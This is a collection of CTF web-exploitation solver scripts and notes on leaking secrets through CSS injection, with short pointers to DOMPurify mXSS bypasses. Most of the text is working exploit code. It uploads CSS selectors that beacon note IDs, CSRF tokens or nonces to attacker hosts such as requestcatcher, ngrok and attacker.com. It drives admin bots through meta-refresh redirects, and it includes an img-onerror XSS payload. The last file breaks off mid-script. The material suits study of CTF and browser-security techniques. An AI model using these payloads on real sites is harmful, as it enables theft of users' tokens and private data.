Skip to content

Categories

CSSLeak

paper: TLDR; Leaking CSS selectors without network exfiltration. I spent a lot of time trying to use crashing payloads but took too long, ended up being able to use the <object> tag to count frames co...

Created

Updated

30 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Bidirectional Single non trigram CSSLeak

Event NameCyber Jawara
GitHub URLhttps://github.com/sksd-id/CJ2025-public
Challenge NameInsanity Check
Attachments
References

solver
import itertools
import random
import string
import threading
import asyncio
import aiohttp
import requests
from flask import Flask, request, jsonify

# ================= CONFIGURATION =================
class Config:
    TARGET_URL = "http://1pc.tf:13371/"
    # The attacker's IP/Port (Where this script runs)
    CALLBACK_HOST = "http://1pc.tf:8000"
    
    # Challenge specific constants
    PREFIX_PATH = "/workspace/display/"
    HEX_CHARS = "0123456789abcdef"
    CHUNK_LENGTH = 2  # How many chars we guess at a time
    MAX_ID_LEN = 25   # Length of the ID we are stealing
    
    # Bot/Browser headers
    HEADERS = {
        "Cache-Control": "max-age=0",
        "Accept-Language": "en-US,en;q=0.9",
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": (
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/143.0.0.0 Safari/537.36"
        ),
        "Accept": "*/*",
    }

# ================= STATE MANAGEMENT =================
class ExploitState:
    """Manages the current knowledge of the leaked ID."""
    def __init__(self):
        self.prefix = ""
        self.suffix = ""
        self.prefix_hit = False
        self.suffix_hit = False

    def reset_hits(self):
        """Resets hit flags for the next round."""
        self.prefix_hit = False
        self.suffix_hit = False

    def is_complete(self):
        """Checks if both prefix and suffix probes succeeded."""
        return self.prefix_hit and self.suffix_hit

# Initialize Global State
state = ExploitState()
app = Flask(__name__)

# ================= UTILITIES =================
def rand_str(length=8) -> str:
    """Generates a random alphanumeric string."""
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def merge_prefix_suffix(prefix: str, suffix: str, max_len: int) -> str:
    """Attempts to merge overlapping prefix and suffix strings."""
    # Try to find overlap
    for i in range(len(prefix)):
        if prefix[i:] == suffix[:len(prefix) - i]:
            merged = prefix + suffix[len(prefix) - i:]
            return merged[:max_len]
    
    # Fallback: simple concatenation if no overlap found
    return (prefix + suffix)[-max_len:]

# ================= API CLIENT =================
class CTFClient:
    """Handles interaction with the target CTF server."""
    def __init__(self):
        self.session = requests.Session()
        self.session.headers.update(Config.HEADERS)
        self._authenticate()

    def _authenticate(self):
        """Registers and logs in a random user."""
        username = rand_str()
        creds = {
            "username": username,
            "email": f"{username}@gmail.com",
            "password": username,
            "confirm_password": username,
        }
        # Register
        self.session.post(f"{Config.TARGET_URL}/identity/signup", data=creds)
        # Login
        self.session.post(f"{Config.TARGET_URL}/identity/signin", data=creds)
        print(f"[+] Authenticated as: {username}")

    def post_note(self, content: str) -> str:
        """Creates a note/document and returns its location."""
        resp = self.session.post(
            f"{Config.TARGET_URL}/workspace/compose",
            data={"title": "exploit", "content": content},
            allow_redirects=False,
        )
        return resp.headers.get("Location", "")

    def get_flag(self, note_id: str) -> str:
        """Retrieves the flag from the target note."""
        url = f"{Config.TARGET_URL}/workspace/display/{note_id}"
        resp = self.session.get(url)
        try:
            # Extract content between hidden p tags
            start_marker = '<p id="document-body-hidden">'
            end_marker = '</p>'
            content = resp.text.split(start_marker)[1].split(end_marker)[0]
            return content
        except IndexError:
            return "Failed to parse flag"

# Initialize Client
client = CTFClient()

# ================= PAYLOAD GENERATION =================
def generate_css(prefix: str, suffix: str) -> str:
    """Generates the CSS payload to brute-force the next characters."""
    combinations = map("".join, itertools.product(Config.HEX_CHARS, repeat=Config.CHUNK_LENGTH))
    
    rules = []
    for h in combinations:
        # Check if ID starts with (KnownPrefix + Guess)
        rules.append(
            f'a[href^="{Config.PREFIX_PATH}{prefix}{h}"] {{ '
            f'cursor: url("{Config.CALLBACK_HOST}/leak?x={h}"), auto; }}'
        )
        # Check if ID ends with (Guess + KnownSuffix)
        rules.append(
            f'a[href$="{h}{suffix}"] {{ '
            f'list-style-image: url("{Config.CALLBACK_HOST}/end?x={h}"); }}'
        )
    
    return "\n".join(rules)

# ================= FLASK ROUTES =================
@app.route("/leak")
def leak():
    """Callback when a prefix match is found."""
    state.prefix_hit = True
    chunk = request.args.get("x", "")
    state.prefix += chunk
    # print(f"[*] Prefix Hit: {chunk} -> Total: {state.prefix}")
    return "", 204

@app.route("/end")
def end():
    """Callback when a suffix match is found."""
    state.suffix_hit = True
    chunk = request.args.get("x", "")
    state.suffix = chunk + state.suffix
    # print(f"[*] Suffix Hit: {chunk} -> Total: {state.suffix}")
    return "", 204

@app.route("/status")
def status():
    """Called by the bot via JS to check if it should reload."""
    success = state.is_complete()
    if success:
        state.reset_hits()
    return jsonify(success=success)

@app.route("/")
def index():
    """Main exploit controller."""
    # Check if we have recovered enough characters
    current_len = len(state.prefix) + len(state.suffix)
    if current_len >= Config.MAX_ID_LEN:
        flag_id = merge_prefix_suffix(state.prefix, state.suffix, Config.MAX_ID_LEN)
        print(f"\n[!!!] ID RECOVERED: {flag_id}")
        print(f"[!!!] FLAG CONTENT: {client.get_flag(flag_id)}\n")
        return "Exploit Complete. Check Console."

    # 1. Generate CSS Payload
    css_content = generate_css(state.prefix, state.suffix)
    payload_html = f'<div id="user-theme-styles"><style>{css_content}</style></div>'
    
    # 2. Upload Payload to Target
    note_loc = client.post_note(payload_html)
    
    print(f"[>] Progress: Prefix='{state.prefix}' | Suffix='{state.suffix}'")

    # 3. Serve JS to the bot to open the note and poll for status
    return f"""
    <script>
        // Open the note containing the malicious CSS
        window.open('http://note:5000{note_loc}');
        
        // Reset to home briefly to clear cursor state if needed
        setTimeout(() => window.open('http://note:5000/workspace/home'), 150);
        
        // Poll this server to see if we got hits; if so, reload to guess next chunk
        setInterval(() => {{
            fetch('/status')
                .then(r => r.json())
                .then(d => {{
                    if(d.success) location.reload();
                }});
        }}, 150);
    </script>
    """

# ================= ASYNC REPORTING =================
async def send_report_async(url_to_visit):
    """Async wrapper to report the URL to the admin bot."""
    async with aiohttp.ClientSession() as s:
        async with s.post(
            f"{Config.TARGET_URL}/report/",
            data={"url": url_to_visit},
        ) as r:
            text = await r.text()
            print(f"[*] Bot Report Sent: {r.status} | Response: {text[:50]}...")

def trigger_bot(url):
    """Fires the report in a background thread."""
    threading.Thread(
        target=lambda: asyncio.run(send_report_async(url)),
        daemon=True,
    ).start()

# ================= ENTRY POINT =================
if __name__ == "__main__":
    # 1. Create the initial redirect note
    # This directs the bot from the CTF domain to our flask server
    redirect_html = f'<meta http-equiv="refresh" content="0;url={Config.CALLBACK_HOST}">'
    redirect_path = client.post_note(redirect_html)
    
    full_target_url = "http://note:5000" + redirect_path
    
    print(f"[*] Initial Payload Uploaded at: {redirect_path}")
    print(f"[*] Triggering Bot to visit: {full_target_url}")
    
    # 2. Tell the bot to visit the note
    trigger_bot(full_target_url)

    # 3. Start Attack Server
    app.run(host="0.0.0.0", port=8000, debug=False)

Another font CSS leak

Event NameCrew CTF 2025
GitHub URL
Challenge NameHate Notes
Attachments
References

solve
import json
import time
import random
import string
import requests 

URL = "http://localhost:8000"

# Example:
#      f54dbf57-3317-4d6c-b903-bc56868fd728
EXFILTRATION = "https://player.requestcatcher.com/"
UID = ""

def register(user, password):
    r = requests.post(URL+'/api/auth/register', data={'email': user, 'password': password})


def login(user, password):
    r = requests.post(URL+'/api/auth/login', data={'email': user, 'password': password}, allow_redirects=False)
    return r.cookies["token"]


def first_payload(cookie):
    global UID
    payload = ""
    for letter in string.hexdigits[:16]:
        character = UID + letter
        payload += """
        @font-face {
          font-family: exfilFont"""+character+""";
          src: url(""" + EXFILTRATION +  """?id="""+character+""");
        }
        a[href^='/api/notes/""" + character + """'] {
          font-family: exfilFont"""+character+""";
        }
        """
    return json.loads(requests.post(URL+'/api/notes', cookies=cookie, data={'title':payload, 'content':' '}).text)["id"]

def second_payload(id, cookie):
    payload = f"""<link rel=stylesheet href="/static/api/notes/{id}"/>"""
    return json.loads(requests.post(URL+'/api/notes', cookies=cookie, data={'title':payload, 'content': ' '}).text)["id"]

def report(id, cookie):
    print(f"Reporting... {id}")
    r = requests.post(URL+'/report', cookies=cookie, data={'noteId': id})
    print(r.text)


USER = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(10))
PASSWORD = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(10))
print(f"USER {USER} -- PASSWORD {PASSWORD}")
register(USER, PASSWORD)
cookie = login(USER, PASSWORD)
while True:
    print(f"[X] UID: {UID}")
    id = first_payload({'token': cookie})
    id = second_payload(id, {'token': cookie})
    report(id, {'token': cookie})
    time.sleep(0.5)
    new_char = input("> ")
    UID += new_char
    if len(UID) in [8,13,18,23]:
        UID += '-'

font CSS leak

Event NameITSEC CTF 2025
GitHub URLhttps://github.com/ITSEC-ASIA-ID/2025-ITSEC-Asia-Summit-Public
Challenge Namenote app revenge
Attachments
References

solve
from flask import Flask, Response, make_response, request
import requests
import threading
current_note = ""
known_prefix = "/notes/view/"
app = Flask(__name__)
import string
import requests
HOST = "http://52.77.234.0:50002/"
# HOST = "http://localhost:50002/"
EXFIL_URL = "http://HOST:8000/"


req = requests.Session()
username = "bengsky13"
password = "haha123@A"
email = "bengskysec@gmail.com"
req.post(HOST+"/auth/register", data={
   "username":username,
   "password":password,
   "email":email,
   "confirm_password":password
})
req.post(HOST+"/auth/login", data={
   "username":username,
   "password":password,
   "email":email,
   "confirm_password":password
})
##Create redirection
redirect = req.post(HOST+"/notes/create", data={
   "title":"1",
   "content":f"<meta http-equiv=\"refresh\" content=\"0;url={EXFIL_URL}\">"
}, allow_redirects=False).headers.get('Location').split("/")[-1]
print("Redirect id", redirect)
charset = "01234567890abcdef"
def generate_css_payload(prefix):
   css = ""
   for c1 in charset:
       for c2 in charset:
           attempt = prefix + c1 + c2
           font_name = f"LeakFont_{attempt}"
           font_url = f'{EXFIL_URL}leak?id={attempt}'
           selector = f'a[href^="{attempt}"]'


           # @font-face definition
           css += f'@font-face {{\n'
           css += f'  font-family: "{font_name}";\n'
           css += f'  src: url("{font_url}") format("woff2");\n'
           css += f'}}\n'


           # Apply font-family to matched elements
           css += f'{selector} {{ font-family: "{font_name}" !important; }}\n\n'


   return css

def create_note():
   global req
   global known_prefix
   global HOST
   payload = generate_css_payload(known_prefix)
   url = HOST+"/notes/create"
   data = {
       "title": "x",
       "content": f'<div id="custom-theme-styles">{payload}</div><form name="options"><input id="custom_theme"></form><script x="'
   }
   response = req.post(url, data=data, allow_redirects=False)
   return(response.headers.get('Location'))


@app.route('/')
def index():
   global HOST
   html = f'''
   <!DOCTYPE html>
   <html>
   <head>
     <title>CSS Leak</title>
   </head>
   <body>
   <script type="module">
   function sleep(ms) {{
       return new Promise(resolve => setTimeout(resolve, ms));
       }}
   (async() =>{{
   await sleep(200)
   for(let i = 0; i<16; i++){{
   const x = await fetch("/prefix")
   const y = await x.text()
   window.open("http://localhost:5001/"+y, "_blank")
   window.open("http://localhost:5001/notes/dashboard", "_blank")
   }}
   const x = await fetch("/done")


   }})()
   </script>
   </body>
   </html>
   '''
   return make_response(html)


@app.route('/prefix')
def prefixs():
   global known_prefix
   return Response(create_note(), mimetype='text/plain')


@app.route('/done')
def done():
   global known_prefix
   print(req.get(HOST+known_prefix).text.split('<p>Here is your flag: ')[1].split('</')[0])
   return Response(create_note(), mimetype='text/plain')


@app.route('/leak')
def leak():
   global known_prefix
   prefixs = request.args.get('id')
   known_prefix = prefixs
   return Response('ok', mimetype='text/plain')
  
def submit_bot():
   print("Submiting to bot")
   req.post(HOST+"/bot/report", json={
   "note_id":redirect
   })


if __name__ == '__main__':
   print("[*] Waiting for leak to trigger...")
   threading.Thread(target=submit_bot, daemon=True).start()
   app.run(port=8000, host="0.0.0.0")

Leaking CSS selectors without network exfiltration

Event NameCOR CTF 2025
GitHub URL-
Challenge Namepaper
Attachments
References

paper: TLDR; Leaking CSS selectors without network exfiltration. I spent a lot of time trying to use crashing payloads but took too long, ended up being able to use the <object> tag to count frames conditionally instead. This was a lot faster and got me under the minute required for the bot

<script>
  //const TARGET = "https://paper-1d9799b1449de640.ctfi.ng";
  const TARGET = "http://127.0.0.1:8080";
  const ALPHABET = "0123456789abcdef".split("").join("");

  function sleep(ms) {
    return new Promise((resolve) => setTimeout(resolve, ms));
  }

  function htmlEncode(str) {
    return str.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/"/g, "&quot;");
  }

  function test(mid, backward = false) {
    return new Promise((resolve) => {
      console.log("chars", ALPHABET.split("").slice(0, mid));
      const selectors = ALPHABET.split("")
        .slice(0, mid)
        .map((c) => `body[secret${backward ? "$" : "^"}="${backward ? c + suffix : prefix + c}"] object#leak`)
        .join(",");
      // To detect if a selector matched, conditionally display an <object> so that .length changes from 1 to 2
      const payload = `
<style>
  ${selectors} {
    display: none;
  }
</style>
<object id="leak" data=about:blank></object>
<object data=about:blank></object>
`;
      const url = TARGET + "/secret?" + new URLSearchParams({ payload });
      // To bypass SameSite=Strict, a meta refresh will cause the *target* to make the request
      const metaPayload = `<meta http-equiv="refresh" content="0;${htmlEncode(url)}">`;
      const metaUrl = TARGET + "/secret?" + new URLSearchParams({ payload: metaPayload });
      const w = window.open(metaUrl, "", "width=1,height=1");
      const interval = setInterval(async () => {
        // After at least one object has loaded
        if (w.length > 0) {
          clearInterval(interval);
          // Wait a small bit for potentially the 2nd to load (if it's not `display: none`)
          await sleep(100);
          const length = w.length;
          w.close();
          // Check if the selector matched. If it's 2, didn't match
          resolve(length === 1);
        }
      }, 0);
    });
  }

  async function binarySearch(low, high, backward = false) {
    while (low !== high) {
      const mid = Math.floor((low + high) / 2);
      if (await test(mid + 1, backward)) {
        high = mid;
      } else {
        low = mid + 1;
      }
    }
    return low;
  }

  let prefix = "";
  let suffix = "";

  // We search forward (^=) and backward ($=) simultaneously
  (async () => {
    for (let i = 0; i < 16; i++) {
      // Use binary search for highest efficiency
      const found = await binarySearch(0, ALPHABET.length - 1);
      prefix += ALPHABET[found];
      console.log("Found", prefix);
      navigator.sendBeacon("/log?prefix=" + prefix);
    }
  })();
  (async () => {
    for (let i = 0; i < 16; i++) {
      const found = await binarySearch(0, ALPHABET.length - 1, true);
      suffix = ALPHABET[found] + suffix;
      console.log("Found", suffix);
      navigator.sendBeacon("/log?suffix=" + suffix);
    }
  })();
</script>
<!-- http://localhost:8000/leak_frame.html -->

Trigrams CSS leak using seperated css if the server have upload limitation

Event NameITSEC CTF Quals 2025
GitHub URL-
Challenge Namenote app biasa
Attachments
References

trigrams css generator
#!/usr/bin/env python3

import itertools

URL = "http://8.tcp.ngrok.io:12051"

TEMPLATE_START = '''a[href^="/notes/view/%s"]{--a_%s: url(%s?START=%s);}'''

TEMPLATE_MATCH = '''a[href*="%s"]{--b_%s: url(%s?MATCH=%s);}'''

TEMPLATE_END = ''' a[href$="%s"]{--c_%s: url(%s?END=%s);}'''

TEMPLATE_BACKGROUND_SCRIPT = '''a[href^="/notes/view/"]{background: %s;}'''

CHARSET = "0123456789abcdef"

CSS_DIR = "static/css"

start_css = ""
end_css = ""
match_css_1 = ""
match_css_2 = ""
match_css_3 = ""

props_start = []
props_end = []
props_match_1 = []
props_match_2 = []
props_match_3 = []

for cs in itertools.product(CHARSET, repeat=2):
    s = "".join(cs)
    start_css += TEMPLATE_START % (s, s, URL, s)
    end_css += TEMPLATE_END % (s, s, URL, s)
    props_start.append(f"var(--a_{s},none)")
    props_end.append(f"var(--c_{s},none)")

for i, cs in enumerate(itertools.product(CHARSET, repeat=3)):
    s = "".join(cs)
    if i <= 3500:
        match_css_1 += TEMPLATE_MATCH % (s, s, URL, s)
        props_match_1.append(f"var(--b_{s},0)")
    elif i <= 7000:
        match_css_2 += TEMPLATE_MATCH % (s, s, URL, s)
        props_match_2.append(f"var(--b_{s},0)")
    elif i <= 10500:
        match_css_3 += TEMPLATE_MATCH % (s, s, URL, s)
        props_match_3.append(f"var(--b_{s},0)")

with open(f'{CSS_DIR}/first.css', 'wt') as fp:
    fp.write(start_css)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_start)))

with open(f'{CSS_DIR}/second.css', 'wt') as fp:
    fp.write(end_css)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_end)))

with open(f'{CSS_DIR}/third.css', 'wt') as fp:
    fp.write(match_css_1)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_match_1)))

with open(f'{CSS_DIR}/fourth.css', 'wt') as fp:
    fp.write(match_css_2)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_match_2)))

with open(f'{CSS_DIR}/fifth.css', 'wt') as fp:
    fp.write(match_css_3)
    fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_match_3)))
trigrams solver
def reconstruct_from_start(trigrams, start):
    """Reconstruct sequence from start until no more trigrams can be used"""
    used_trigrams = set()
    sequence = start
    
    while True:
        found_extension = False
        if len(sequence) >= 2:
            last_two = sequence[-2:]
            for trigram in trigrams:
                if trigram not in used_trigrams and trigram.startswith(last_two):
                    sequence += trigram[-1]
                    used_trigrams.add(trigram)
                    found_extension = True
                    break
        if not found_extension:
            break
    
    return sequence, used_trigrams

def reconstruct_from_end(trigrams, end):
    """Reconstruct sequence from end (backwards) until no more trigrams can be used"""
    used_trigrams = set()
    sequence = end
    
    while True:
        found_extension = False
        if len(sequence) >= 2:
            first_two = sequence[:2]
            for trigram in trigrams:
                if trigram not in used_trigrams and trigram.endswith(first_two):
                    sequence = trigram[0] + sequence
                    used_trigrams.add(trigram)
                    found_extension = True
                    break
        if not found_extension:
            break
    
    return sequence, used_trigrams

def construct_middle_part(remaining_trigrams, start_seq, end_seq, target_length):
    """Try to construct the missing middle part using remaining trigrams"""
    if not remaining_trigrams:
        return None
    
    current_length = len(start_seq) + len(end_seq)
    needed_middle_length = target_length - current_length
    
    if needed_middle_length <= 0:
        return None
    
    def try_chain_trigrams(trigrams_list, current_sequence="", used=set()):
        if len(current_sequence) == needed_middle_length:
            return current_sequence, used
        
        if len(current_sequence) > needed_middle_length:
            return None
        
        for trigram in trigrams_list:
            if trigram in used:
                continue
                
            if not current_sequence:
                result = try_chain_trigrams(trigrams_list, trigram, used | {trigram})
                if result:
                    return result
            else:
                if len(current_sequence) >= 2 and trigram.startswith(current_sequence[-2:]):
                    new_sequence = current_sequence + trigram[-1]
                    result = try_chain_trigrams(trigrams_list, new_sequence, used | {trigram})
                    if result:
                        return result
        return None
    
    return try_chain_trigrams(list(remaining_trigrams))

def advanced_trigram_solver(trigrams, start, end, target_length=16):
    """
    Advanced reconstruction strategy:
    1. Reconstruct from start until no more can be constructed
    2. Reconstruct from end until no more can be reconstructed  
    3. Check if there's missing part between start and end constructs
    4. If missing, use leftover trigrams to construct the gap
    5. If constructed gap length matches missing length, that's the answer
    """
    trigram_set = set(trigrams)
    
    # Step 1: Reconstruct from start
    start_sequence, start_used = reconstruct_from_start(trigram_set, start)
    
    # Step 2: Reconstruct from end
    remaining_after_start = trigram_set - start_used
    end_sequence, end_used = reconstruct_from_end(remaining_after_start, end)
    
    # Step 3: Check for overlap or gap
    remaining_trigrams = trigram_set - (start_used | end_used)
    
    # Check if sequences overlap
    if start_sequence.endswith(end_sequence):
        overlap_len = len(end_sequence)
        return start_sequence[:-overlap_len] + end_sequence
    
    elif end_sequence.startswith(start_sequence):
        overlap_len = len(start_sequence)
        return start_sequence + end_sequence[overlap_len:]
    
    else:
        # There's a gap - try to fill it
        current_total_length = len(start_sequence) + len(end_sequence)
        missing_length = target_length - current_total_length
        
        if missing_length <= 0:
            combined = start_sequence + end_sequence
            return combined[:target_length] if len(combined) >= target_length else combined
        
        # Step 4: Construct middle part
        middle_result = construct_middle_part(remaining_trigrams, start_sequence, end_sequence, target_length)
        
        if middle_result:
            middle_part, middle_used = middle_result
            if len(middle_part) == missing_length:
                return start_sequence + middle_part + end_sequence
    
    # Fallback
    return start_sequence + end_sequence

if __name__ == "__main__":
    print(advanced_trigram_solver(['800', '6a4', '4f3', '459', '597', '7df', '404', '380', '97d', 'a4f', '045'], start="40", end="00", target_length=16))
server
import asyncio
import httpx
from threading import Thread
import json
from tri import advanced_trigram_solver

PORT = 4444

# URL = "http://localhost:5001"
URL = "http://54.254.152.24:5001"
PUBLIC_URL = "http://8.tcp.ngrok.io:12051"


class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, verify=False, timeout=10000)
        self.session = ""

class API(BaseAPI):
    def register(self, username, email, password):
        return self.c.post("/auth/register", data={
            "username": username,
            "email": email,
            "password": password,
            "confirm_password": password
        })
    
    def login(self, username, password):
        return self.c.post("/auth/login", data={
            "username": username,
            "password": password
        })
    
    def create_note(self, title, content):
        return self.c.post("/notes/create", data={
            "title": title,
            "content": content
        })
    def report(self, note_id):
        return self.c.post(f"/bot/report", json={
            "note_id": note_id
        })
    
GSTART = ""
GEND = ""
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)
TARGET = "http://localhost:5001/"
NOTES = {}


    
def webServer():
    from flask import Flask, request, send_from_directory, jsonify
    import random
    import string

    app = Flask(__name__, static_folder='static')

    index = open("static/index.html").read()

    @app.route("/static/<path:filename>")
    def static_files(filename):
        return send_from_directory(app.static_folder, filename)

    @app.route("/exploit", methods=["GET"])
    def exploit():
        global TARGET, NOTES
        html = index.replace("{{TARGET}}", TARGET)
        html = html.replace("{{NOTES}}", json.dumps(NOTES))
        return html, 200

    @app.route("/", methods=["GET"])
    def root():
        global GSTART, GEND, GTRIGRAMS
        START = request.args.get('START', "")
        END = request.args.get('END', "")
        MATCH = request.args.get('MATCH', "")

        if len(START) > 0:
            GSTART = START
        elif len(END) > 0:
            GEND = END
        elif len(MATCH) > 0:
            GTRIGRAMS.append(MATCH)
        print(GSTART, GEND, GTRIGRAMS)
        return jsonify(message="Hello World")

    return Thread(target=app.run, args=('0.0.0.0', PORT))

# sometimes it's not working, so we need to run it multiple times
async def main():
    api = API()
    server = webServer()
    server.start()

    await api.register("fooman", "fooman@fooman.com", "fooman")
    await api.login("fooman", "fooman")


    # redirect to our website using meta redirect
    res = await api.create_note("1", f"<meta http-equiv='refresh' content='0; url={PUBLIC_URL}/exploit'>")
    NOTES["redirect"] = res.headers["Location"]
    with open("static/css/first.css", "r") as fp:
        res = await api.create_note("2", f"<i id='custom-theme-styles'>{fp.read()}</i>")
        print(res.text)
        NOTES["css1"] = res.headers["Location"]
    with open("static/css/second.css", "r") as fp:
        res = await api.create_note("3", f"<i id='custom-theme-styles'>{fp.read()}</i>")
        print(res.text)
        NOTES["css2"] = res.headers["Location"]
    with open("static/css/third.css", "r") as fp:
        res = await api.create_note("4", f"<i id='custom-theme-styles'>{fp.read()}</i>")
        print(res.text)
        NOTES["css3"] = res.headers["Location"]
    with open("static/css/fourth.css", "r") as fp:
        res = await api.create_note("5", f"<i id='custom-theme-styles'>{fp.read()}</i>")
        print(res.text)
        NOTES["css4"] = res.headers["Location"]
    with open("static/css/fifth.css", "r") as fp:
        res = await api.create_note("6", f"<i id='custom-theme-styles'>{fp.read()}</i>")
        print(res.text)
        NOTES["css5"] = res.headers["Location"]
    await api.report(NOTES["redirect"].replace("/notes/view/", ""))

    while True:
        await asyncio.sleep(1)
        result = advanced_trigram_solver(GTRIGRAMS, start=GSTART, end=GEND, target_length=16)
        print(result)
        if result:
            res = await api.c.get("/notes/view/"+result)
            print(res.text)
            break

    server.join()

if __name__ == "__main__":
    asyncio.run(main())

Retrieving user’s history using a :visited to leak 200 vs 404 status code

Event Name-
GitHub URL-
Challenge Name-
Attachments
References

difference between firefox and chrome based

Rainbow Notes Csaw CTF 2023

https://github.com/SuperStormer/writeups/blob/master/csawctf_2023/web/rainbow-notes/rainbow5.py

this is use something using metarefesh and domclobering, is the domclobering become persistent?

https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#styling-scroll-to-text-fragment

https://github.com/osirislab/CSAW-CTF-2023-Quals/tree/main/web/rainbow-notes

https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/

input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);
}

CSS leak can be splited into chunk, make it possible to leak nonce in single request.

https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/#splitting-the-url-into-smaller-chunks

0ctf 2023: new diary

![[Pasted image 20231211125623.png]] This way, the attacker server will know all the different chunks that the UUID consists of, but not their order. To reconstruct the correct UUID, the server has to stitch it back together by starting with one chunk and finding an overlapping one.

via cros-fade

img[src*="abc"] { --abc: url("//attacker.com/abc") }
img[src*="bcd"] { --bcd: url("//attacker.com/bcd") }
/* ... */img {
        background-image: cross-fade(        cross-fade(var(--abc, none), var(--bcd, none), 50%),        cross-fade(/* ... */),        50%    );}

you can do this to

<head>  <script>  const content = document.createElement('p');  content.innerHTML = `  <a nonce="nonc"><\/a>  <a nonce="testn"><\/a>  <a nonce="test2"><\/a>  <style>      body:has(main ~ script[nonce*="testn"]:last-of-type) * div * a[nonce="testn"] {      background-image:url('/testn')      }      body:has(main ~ script[nonce*="test2"]:last-of-type) * div * a[nonce="test2"] {      background-image:url('/test2')      }      body:has(main ~ script[nonce*="nonc"]:last-of-type) * div * a[nonce="nonc"] {      background-image:url('/nonc')      }</style>`;window.onload = function(){
  document.getElementById("content").appendChild(content);}
</script></head><body><main id="container">    <h2 id="title"><p>xx</p></h2>    <hr>    <div id="content"></div>  </main><script nonce="testnonce"></script></body>

newdiary writeup 0ctf

https://github.com/salvatore-abello/CTF-Writeups/tree/main/0ctf%20-%202023/newdiary https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/

CSS Leak While In Title Context where with DOMPurify

<TABLE><TH><SVG><STYLE>@IMPORT URL(REDIRECT?URL=EO5VZGJXDJI72UU.M.PIPEDREAM.NET)<TITLE><COL><TITLE>

Fancy Text Viewer SDCTF 2024

<svg><title></title>INJECT</svg>

Interestingly, the latest patch in DOMPurify 3.1.3 was to fix a related mXSS vector in the title tag. You used to be able to essentially do something like this before:

DOMPurify.sanitize('<a title="<&#47;title><img src=x onerror=alert(1)>">')

Which would sanitize to :

<a title="</title><img src=x onerror=alert(1)>"></a>

If this was put inside the title context, the </title> in the string would exit the title and you would be able to get mxss.

Bypassing DOMPurify for Successful XSS Execution: namespace confusion (ch4n3.kr)

CSS leak bypass import

google-ctf/2024/quals/web-in-the-shadows at 1a9152e8607e9c5cbcdc2cfc8b957d979b82ce2e · google/google-ctf (github.com)

CSS leak trigrams technique

CJ 2025 quals

newdiary - One Shot CSS Injection (0CTF/TCTF 2023) | Hack On

solve.py
from flask import Flask, request, send_from_directory, jsonify
import requests
import random
import string

app = Flask(__name__, static_folder='static')

index = open("static/index.html").read()

GSTART = ""
GEND = ""
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)

s = requests.Session()

def random_char(y):
    return ''.join(random.choice(string.ascii_letters) for x in range(y))

@app.route("/static/<path:filename>")
def static_files(filename):
    return send_from_directory(app.static_folder, filename)

@app.route("/exploit", methods=["GET"])
def exploit():
    TARGET = "http://webapp:8001/"
    html = index.replace("{{target}}", TARGET)
    return html, 200

@app.route("/", methods=["GET"])
def root():
    global GSTART, GEND, GTRIGRAMS
    START = request.args.get('START', "")
    END = request.args.get('END', "")
    MATCH = request.args.get('MATCH', "")
    
    if len(START) > 0:
        GSTART = START
    elif len(END) > 0:
        GEND = END
    elif len(MATCH) > 0:
        GTRIGRAMS.append(MATCH)
    print(GSTART, GEND, GTRIGRAMS)
    return jsonify(message="Hello World")

@app.route("/nonce", methods=["GET"])
def getnonce():
    global GSTART, GEND, GTRIGRAMS, PREV_TRIGRAMS_LEN
    try:
        curr_trigrams_len = len(GTRIGRAMS)
        if curr_trigrams_len == PREV_TRIGRAMS_LEN and curr_trigrams_len != 0:
            nonce = trigram_solver(GTRIGRAMS, start=GSTART, end=GEND)
            nonce = next(iter(nonce))
            return jsonify(nonce=nonce)
        PREV_TRIGRAMS_LEN = curr_trigrams_len
    except Exception as e:
        print(e)
    return jsonify(nonce="")

def trigram_solver(l, start="t2", end='ud'):
    s = set(l)
    solved = start
    candidates = set([solved])
    while len(next(iter(candidates))) != 32:
        print(len(next(iter(candidates))), len(candidates))
        new_candidates = set()
        for candidate in candidates:
            last_chr = candidate[-2:]
            for cs in s:
                if cs.startswith(last_chr):
                    new_candidate = candidate + cs[-1]
                    new_candidates.add(new_candidate)
        candidates = new_candidates
    final_candidates = set()
    for candidate in candidates:
        if candidate.endswith(end):
            final_candidates.add(candidate)
    return final_candidates

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=8000)
static/index.html
<html>
    <script>
        const TARGET = "{{target}}"
        // https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/
        
        let w = open(TARGET);
        let sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
        (async () => {
            await sleep(1000);
            w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/first.css);</style></form>`
            

            await sleep(5000);
            w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/second.css);</style></form>`
            // get nonce
            let nonce = "";
            while (true) {
                nonce = await fetch("/nonce").then(r => r.json());
                console.log(nonce);
                if (nonce.nonce.length != 32) {
                    await sleep(1000);
                } else {
                    break;
                }
            }

